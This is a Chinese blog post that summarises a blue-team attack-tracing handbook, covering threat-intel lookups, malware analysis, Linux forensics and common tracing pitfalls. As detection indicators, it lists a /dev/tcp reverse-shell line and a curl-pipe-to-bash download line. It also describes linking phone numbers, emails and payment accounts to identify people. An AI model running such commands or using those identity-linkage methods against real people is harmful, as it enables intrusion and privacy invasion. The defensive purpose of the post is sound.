HW溯源手册:攻击类型定路径,情报样本取证全流程

发布时间:2026/9/24 1:15:16
HW溯源手册:攻击类型定路径,情报样本取证全流程 简介一份面向IT安全人员与应急响应团队的网络安全溯源实战手册重点讲解如何从攻击时间、攻击IP、恶意文件等线索入手追踪攻击源头并针对端口扫描、命令执行、爬虫活动等常见攻击类型给出溯源优先级与处置思路。手册涵盖威胁情报平台、whois/子域名查询、IP反查定位、ID/手机号/邮箱信息搜集、恶意文件静态与动态分析等常用手法同时提供IDA、JEB、010 Editor、Wireshark、微步云沙箱等工具清单便于按字典式目录快速查阅。这是一份Word文档格式的资料共1个docx文件压缩包大小12.19MB内容兼顾方法论与实战操作并强调多证据链验证、避免误报的报告撰写要点。已有571人学习适合需要系统掌握溯源流程、提升攻击源头定位能力的安全工程师。1. HW溯源不玄学攻击类型直接决定该从哪入手每年到HW值守阶段蓝队群里最多的消息就是「这个IP帮我溯一下」。我见过不少人拿到告警就开干先花两小时在威胁情报平台上翻来翻去最后连攻击者从哪个口子进来的都没说清楚。其实溯源这件事最大的坑不是工具不够而是拿到任务后不知道先看什么。这份《HW溯源手册V2.0》分技巧篇和实战篇把溯源从信息输入到画像输出的全流程拉了一遍。它解决的核心问题是接到溯源任务时先看什么、后看什么、哪些线索优先级高、哪些情报只能当参考。适合蓝队值守、应急响应和刚接触溯源的新手也适合老手当字典翻——某些章节故意做了简化目的是让你在溯源过程中快速定位到自己需要的那一步。开篇最有价值的一句话是攻击类型决定了溯源优先级端口扫描、命令执行、爬虫、恶意文件四类攻击的溯源路径完全不同。2. 情报收集与画像拼图威胁平台、whois、IP 与 ID 反查怎么串溯源第一步永远是信息收集但收集不是把平台上的数据全部截个图存下来而是围绕「攻击IP、攻击类型、恶意文件、攻击详情」这四个入手点把分散的线索串成一张画像。这章按已知信息类型拆开讲实际溯源时往往需要交叉使用。2.1 威胁情报平台先看这四个字段别把误报当结论手册里给了四个平台微步、奇安信TI、360、VenusEye。我的习惯是每个IP至少查两个平台做交叉验证只看四个字段恶意标签、置信度、首次发现时间、关联样本数。恶意标签决定你往哪个方向查置信度低或者首次发现时间短于攻击时间的基本可以判定是误报或者情报滞后。关联样本数这个字段很多人忽略如果某个IP关联了上百个恶意样本大概率是扫描器或者C2节点值得深挖如果只关联一两个样本且置信度不高先放着别浪费时间。提示不要过于依赖威胁情报平台。平台大多为社区维护存在误报以及时效性问题最终结论可能与真正的攻击者毫无关系。情报平台只能帮你缩小范围不能帮你定案。实际场景里最典型的情况是攻击IP是某云厂商的出口IP或者CDN节点IP威胁情报上标了一堆恶意标签但你溯源后发现这个IP同时承载着几百个正常网站。这时候要立即转向去查这个IP背后的实际归属和关联域名而不是在威胁情报的标签里打转。2.2 已知域名whois、SSL 证书与解析记录里能挖出什么拿到攻击域名后优先查历史whois。站长之家的反向whois查询whois.chinaz.com/reverse和RiskIQ社区版可以按邮箱、姓名反查同一个注册人邮箱可能关联着其他域名这些域名就是扩展攻击面的线索。SSL证书是另一个容易被忽略的信息源。证书里的组织名、邮箱、序列号都能反查同一张证书如果被多个域名共用这些域名大概率是同一个攻击者或同一批基础设施。解析记录要区分A记录和CNAMEA记录直接映射到IPCNAME指向另一个域名通常暴露的是CDN厂商或者云WAF。域名解析记录查询可以用jsons.cn/nslookup全球ping工具ping.chinaz.com用来判断是否套了CDN——如果全球ping出来的IP归属地差异很大基本就是CDN这时候不能拿解析结果当真实IP用。2.3 已知IP归属、反查与定位的三板斧已知IP时第一步是判断IP类型。ipip.net看归属和类型标签是移动网络还是IDC这个信息直接决定溯源策略IDC机房的IP可能是攻击者租的VPS移动网络的IP大概率是手机热点或家庭宽带说明攻击者没怎么隐藏。IPIP的WHOIS和CNNIC的ipwhois.cnnic.net.cn可以拿到IP段所属公司。IP反查域名用爱站和whois.com重点看这个IP上绑了多少域名、域名之间有没有关联。IP定位用chaipip.com和opengps.cn但要注意定位精度通常只能到城市级别移动网络的基站定位还会漂移定位结果只能作为参考不能当证据写进报告。这里有个经验大量溯源任务接到手时如果攻击IP是IDC的先查这个IP段是不是云厂商的弹性IP池——很多批量扫描攻击用的是云厂商的临时机器IP可能是动态的今天归A用明天归B用光靠IP定位会溯源到完全无关的人身上。2.4 ID/手机号/邮箱把零散账号串成同一个人的方法这类反查的核心思路是「账号互相关联」。手机号可以用reg007这类注册痕迹查询平台看注册过哪些网站很多老账号能直接关联出邮箱和昵称。邮箱可以尝试在部分平台走账号找回流程通过提示信息验证手机号——这个操作要在授权和合规前提下进行。支付宝转账验证姓名是常见做法发起一笔小额转账输入对方支付宝账号后系统会提示姓名匹配情况。这个方法能用来验证你推测的姓名和手机号是否对应但注意只能做验证不能当独立证据。QQ号直接加好友看资料微信同理ID和昵称优先用搜索引擎搜微博和贴吧的搜索经常能直接命中攻击者自己发过的内容。最后强调一点所有信息都要截图存证标注来源和时间。溯源报告最忌讳的是凭记忆写结论每一环都要有截图和查询记录支撑。3. 恶意文件静态分析从magic字节到宏解析的完整链路恶意文件分析在整个溯源流程里技术门槛最高。不过静态分析阶段并不需要你立刻上手逆向而是按「识别格式→计算哈希→查找字符串→判断加壳→解析关键代码」这个顺序走每一步都有明确的目的和产出。3.1 先认文件格式magic 字节决定你该用哪套工具拿到一个未知的二进制文件不要急着拖进IDA。先看文件头部的magic字节PE文件开头是MZ4D 5AELF文件开头是7F 45 4C 46Mach-O文件开头通常是FE ED FA CE或FE ED FE ED。用010 Editor或者Winhex打开文件看前四个字节就够了。确定了格式才能选对分析工具PE文件用IDA和OllyDBGELF文件用GDB或者radare2固件类的用Binwalk拆包。用手册里的话说不同格式有不同的标志信息知道了目标文件的格式后才能确定对应的分析方法和分析工具。用命令行的话直接file命令也能自动识别但十六进制查看能让你亲眼确认不至于被扩展名欺骗。3.2 哈希与字符串给样本做指纹、找提示词哈希计算是给样本做指纹。MD5、SHA-1、CRC32各算一遍上传到微步云沙箱和奇安信云沙箱查询是否已有分析报告。要提醒的是MD5本身存在碰撞问题加上恶意样本经常被二次打包同一家族样本的MD5会变所以多算法联合使用再加上文件大小和编译时间戳才能稳定标识一个样本。字符串查找是静态分析里性价比最高的一步。在IDA里用ShiftF12直接列出所有字符串重点找这几类URL、IP地址、注册表路径、互斥量名、邮箱地址、PDB路径。PDB路径泄露的信息往往最值钱——它包含编译环境的绝对路径里面可能有攻击者的本机用户名和项目目录名。如果字符串非常少说明样本可能被加壳或压缩过这时候需要走下一节的流程。3.3 导入函数与加壳判断一眼看出样本是否穿了马甲用PEiD查一下壳同时看导入表。如果软件被加壳导入表中的函数会很少因为壳会把真正的导入函数压缩起来运行时再动态还原。反过来如果导入表里出现LoadLibrary和GetProcAddress这对组合说明样本在动态加载额外的API这本身就是一个值得记录的行为特征。导入函数还能大致判断程序行为有CreateRemoteThread和WriteProcessMemory基本可以断定存在注入逻辑有URLDownloadToFile说明样本会下载后续载荷有RegSetValue则是典型的持久化操作。这些结论在写溯源报告时可以直接引用作为攻击行为的佐证。3.4 IDA 宏解析把冰冷的数字还原成系统调用IDA反汇编时不会自动把宏名字解析出来只会显示数字比如0x80000000这种。如果静态代码里全是数字看起来就像天书。处理方法是在数字上右键选择Enum在弹出的对话框里加载对应的头文件常量比如ntdll.hIDA就会把0x80000000替换成STATUS_SUCCESS。宏解析做完攻击者的调用链就清晰了。一个典型的场景样本调用了NtUnmapViewOfSection和NtResumeProcess解析宏之后能看出这是完整的进程镂空攻击流程——先申请内存、卸载原镜像、写入恶意代码、再恢复进程线程。这一步做完样本的技术画像基本就出来了下一步要不要上动态调试也心里有数了。4. 跳板机上的Linux取证端口、进程、定时任务与历史命令跳板机是溯源里最讲究「按顺序取证」的环节。拿到跳板机后第一原则是先做在线取证再做停机先看易失数据再看磁盘。端口、进程、定时任务、历史命令、用户和日志这个顺序基本覆盖了常见的攻击痕迹。4.1 端口与进程先定位可疑 PID再看 exe 真实路径先看网络连接找那些对外发起连接的进程netstat -antlp | grep ESTABLISHED # 列出所有已建立的TCP连接重点关注连接数量多、目标IP分散的端口 ss -antlp | head -50 # ss是netstat的替代品输出更快适合在跳板机上先用它快速排查 lsof -i:8080 # 通过可疑端口反查进程PID然后继续往下追 ls -l /proc/$PID/exe # 查看PID对应的可执行文件真实路径防止进程名伪装netstat 里重点关注 ESTABLISHED 状态的连接攻击者的C2回调通道通常维持着长连接。进程名一样不代表程序一样比如ls这个进程名完全可以被攻击者替换成自己的二进制所以必须用ls -l /proc/$PID/exe看真实路径。攻击者经常把工具放在/tmp、/dev/shm、/var/tmp下面这几个目录一出现可疑文件基本可以断定是攻击行为。4.2 定时任务攻击者留后门的高发区定时任务是最常被忽略的持久化手段。攻击者在拿到权限后通常会创建一个定时任务用来维持权限重启之后依然能上线。crontab -l # 列出当前用户的cron任务先看有没有陌生的周期性任务 cat /var/spool/cron/root # 查看root用户的crontab文件内容这里的任务不执行crontab -l也能看到 ls -la /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/ # 系统级定时任务目录攻击者也可能往这里面丢脚本高危的定时任务特征很明确bash -i /dev/tcp/IP/port 01是反弹shellcurl http://IP/x.sh | bash是下载执行python -c带一串编码字符串的也基本可以断定是有问题的。除了crontab还要看anacron。手册里的例子是/etc/anacrontab里加一行daily 10 example.daily /bin/bash /home/backup.sh——如果机器在计划执行时间关机anacron会在开机后10分钟补跑脚本。这个机制经常被攻击者利用因为它的执行日志不如cron那么显眼。4.3 历史命令重建攻击者在跳板机上的操作时间线历史命令是跳板机溯源里信息量最大的一个文件。root用户的历史记录在/root/.bash_history普通用户分别在/home/各账号/.bash_history。先按用户挨个看重点找wget、curl、scp、python、chmod这些命令——攻击者通常会用wget下载工具包用chmod给文件加执行权限。但默认的history记录是没有时间戳的而且只记录1000条。手册给出了一套提升历史记录能力的配置我贴在这里并逐行解释sed -i s/^HISTSIZE1000/HISTSIZE10000/g /etc/profile # 把历史记录条数从1000条放宽到10000条 cat /etc/profile EOF USER_IP$(who -u am i 2/dev/null | awk {print $NF} | sed -e s/[()]//g) if [ $USER_IP ]; then USER_IP$(hostname) fi export HISTTIMEFORMAT%F %T $USER_IP $(whoami) shopt -s histappend export PROMPT_COMMANDhistory -a EOF source /etc/profile这段配置做了四件事第一通过who -u am i拿到当前登录的来源IP取最后一列并去掉括号这样每条历史命令都会记录是从哪个IP执行的第二如果拿不到登录IP就回退到hostname保证格式不报错第三HISTTIMEFORMAT给每条历史命令加上日期、时间和执行者第四history -a让命令在敲下的瞬间就写入历史文件而不是等shell退出时才落盘——这一点对取证至关重要因为攻击者退出时很可能会清理历史文件即时写入能最大程度保留痕迹。注意我把原文的反引号写法改成了$()因为反引号嵌套在这种复杂配置里容易转义出错$()的可读性也更好。配置生效后后续再有人登录执行命令/root/.bash_history里的每一行都会有执行时间和来源IP重建攻击者的操作时间线就轻松多了。4.4 用户账号与系统日志收尾阶段的交叉验证最后一步看用户和日志。/etc/passwd的每一行用冒号分割依次是用户名、密码、UID、GID、用户说明、家目录、登录shell。重点排查是否存在UID为0的普通用户——UID 0意味着该用户拥有和root一样的权限。/etc/shadow同理其中第二字段是加密后的密码哈希如果发现某个用户的密码字段异常比如不是常见的$6$开头也要注意。/var/log 下的日志按表排查日志文件记录内容溯源时看什么/var/log/cron定时任务执行记录有没有陌生任务被周期性触发/var/log/wtmp登录成功记录last命令读取异常时间的SSH登录/var/log/btmp登录失败记录lastb命令读取爆破行为看攻击来源IP/var/log/secure认证与sudo日志CentOS/RHELSSH登录尝试、越权操作/var/log/messages系统级消息攻击工具的运行报错/var/log/dmesg内核自检信息异常驱动和硬件设备日志分析用split、cat、sort、uniq、awk这几个命令组合就够了比如把/var/log/secure里的Failed password行提取出来按来源IP排序统计grep Failed password /var/log/secure | awk {print $(NF-3)} | sort | uniq -c | sort -nr # 统计暴力破解来源IP及次数次数最多的IP值得优先溯源5. 溯源翻车集中营五个常见坑与排查纪律溯源做得越多越发现最后的结论可靠不可靠很大程度取决于中间有没有踩坑。这一章把我在实战里见过最多、自己也踩过的几个坑列出来每条都按「现象→原因→解决」写清楚。5.1 威胁情报显示恶意但那是 CDN 节点现象攻击IP在微步和奇安信上都标记为恶意置信度还挺高但你顺着IP反查域名时发现上面挂着几百个正常业务站点定位信息也是云厂商的。原因威胁情报平台的标签很多来自自动化检测CDN节点、云WAF的出口IP因为承载过恶意流量很容易被反复标黑。这类IP的攻击行为实际上是背后真实攻击者借道的不是IP拥有者干的。解决遇到云厂商或CDN的IP先放弃IP归属分析转向攻击详情和请求包。看User-Agent、请求路径、攻击载荷里有没有攻击者自定义的特征字符串用这些特征去日志里反查真实源IP。情报平台在这个场景里只用来确认IP归属不参与画像。5.2 单一证据就石锤溯源错人比溯源不到更麻烦现象通过QQ号搜到了一个人的真实姓名然后翻出他的手机号、支付宝就笃定他是攻击者报告里直接写「攻击者已定位为某某」。结果对方只是个被冒用身份的无辜者或者这个QQ号是攻击者盗来的。原因单一证据链不闭合。QQ号可以是盗的手机号可以是一张不记名卡注册的支付宝名字只能做验证不能做定位。解决报告里至少要有两条独立的证据线指向同一身份才敢下结论。比如QQ号关联的邮箱和攻击样本里的C2域名注册邮箱一致同时手机号归属地和样本上传时的IP地理位置能对上这种两条线互证的结论才算站得住脚。手册原话是「避免单一面石锤需要反复验证」各条线索要能串起来并且有逻辑性——逻辑断裂的地方往往就是溯源出错的地方。5.3 样本字符串少就判加壳静态分析直接卡住现象样本拖进IDAShiftF12字符串列表里只有三五个字符串导入函数也少得可怜于是判断样本加了壳静态分析没法继续。原因加壳只是字符串少的可能原因之一。样本可能用了字符串加密或者把关键字符串拆分成字节数组运行时拼接这类技术不需要加壳也能让静态分析看不到字符串。解决先跑一遍PEiD和Detect It Easy确认壳类型。如果确实加壳可以尝试脱壳如果是字符串加密就用动态调试在内存中下断点等字符串解密后再dump内存。字符串少本身是一个信号但它指向的方向不一定是加壳别在第一步就下结论。5.4 拿到跳板机就当终点漏掉了真正的攻击者现象溯源到了跳板机日志里看到了扫描记录和弱口令爆破痕迹就收工写报告把跳板机的IP当成攻击者IP入库。原因跳板机是攻击者全网扫描批量打下来的肉鸡机器本身是受害方。你看到的攻击记录是跳板机被拿下之后自动发起的扫描流量真正的攻击者早就不在这台机器上了。解决拿到跳板机后要做的是继续向上追溯。看历史命令里有没有登录其他内网机器的记录看/root/.bash_history里有没有SSH登录其他IP的指令看跳板机上留存的工具包有没有作者标识或者C2地址。跳板机的意义是提供线索不是提供结论。5.5 域名套了 CDN拿 ping 结果当定位依据全偏现象攻击域名解析到一个IP用IP定位工具查到城市报告里写攻击者位于某地。实际上这个IP是CDN节点真实源站在另一座城市甚至另一个国家。原因只看单次解析结果没有判断域名是否使用CDN。解决拿域名先去全球ping工具跑一遍如果不同地区的解析结果差异很大说明域名背后是CDN。然后查历史解析记录找CDN接入之前的源站IP——很多攻击者是在攻击前临时把域名切到CDN上的历史解析记录里往往能翻到真实IP。判断CDN这个动作要在IP定位之前做顺序反了全盘皆输。6. 动态调试别硬上IDA配OD、多线程与子进程的调试技巧静态分析遇到瓶颈或者样本行为太抽象时就该上动态调试了。我的习惯是IDA做静态定位、OD做动态验证先让IDA把函数流程和关键调用梳理一遍遇到看不懂的函数再用OD跑一下结合寄存器和堆栈的变化反推参数含义——手册原话说得很形象静态分析里十分抽象的函数动态地执行一下功能往往一目了然。多线程调试有一个核心原则先找线程入口再控制线程切换。CreateThread的第三个参数指定新线程入口地址在动态调试时定位到该地址下断点程序调用Sleep或WaitForSingleObject函数时控制权会切到新线程这时就能单步跟进。如果样本没有调用Sleep类的函数有两个可用的办法一是修改代码强制程序调用把线程转到新线程执行二是直接修改EIP指向新线程入口但如果有参数还需要同步修改寄存器指向参数地址这种方法操作不当会让程序崩溃。子进程调试的时机比手法更重要。如果父进程以suspended方式创建子进程它会在恢复运行前向子进程注入代码此时应该先附加到子进程、在注入地址下断点再回到父进程运行ResumeThread子进程就会停在注入代码处。如果控制权切换晚了恶意代码可能已经跑完断点就白下了。从那以后我每次拿到多线程样本都会先CtrlG定位到CreateThread看一下第三个参数再动手这个习惯救过我多次——动态调试不是比拼谁的工具多而是拼谁对代码执行流程的理解更精确。希望这些实战经验能帮你在溯源路上少走几步弯路。本文还有配套的精品资源点击获取

关于本文作者

来自尧图内容编辑团队

尧图内容编辑团队 内容团队

尧图内容编辑团队

本文由尧图网络内容编辑团队执笔。团队由资深项目经理、前端工程师与设计师组成,所有内容均来自亲手交付的真实项目,先讲清问题、再给出可落地的解法。尧图深耕北京网站建设十年,服务过京华建材集团、智造科技等各行业客户,把一线经验沉淀为可复用的行业观察。

  • 十年建站经验,覆盖建材、制造、服务、文创等
  • 项目经理把关选题与事实准确性
  • 工程师与设计师联合撰写专业细节
  • 统一编辑规范,保证文风与排版一致
  • 每月复盘转化数据,迭代选题方向

延伸阅读

相关资讯与近期热门内容

深度阅读推荐

建站决策前值得细读的三篇

网站改版的5个关键决策
2024-08-12

网站改版的5个关键决策

什么时候该改版、改到什么程度、如何避免流量掉光,京华建材集团改版复盘给出答案。

获取专属建站方案

看完文章,把您的行业与预算告诉我们,免费获取一份量身定制的官网建设方案与报价。

立即免费咨询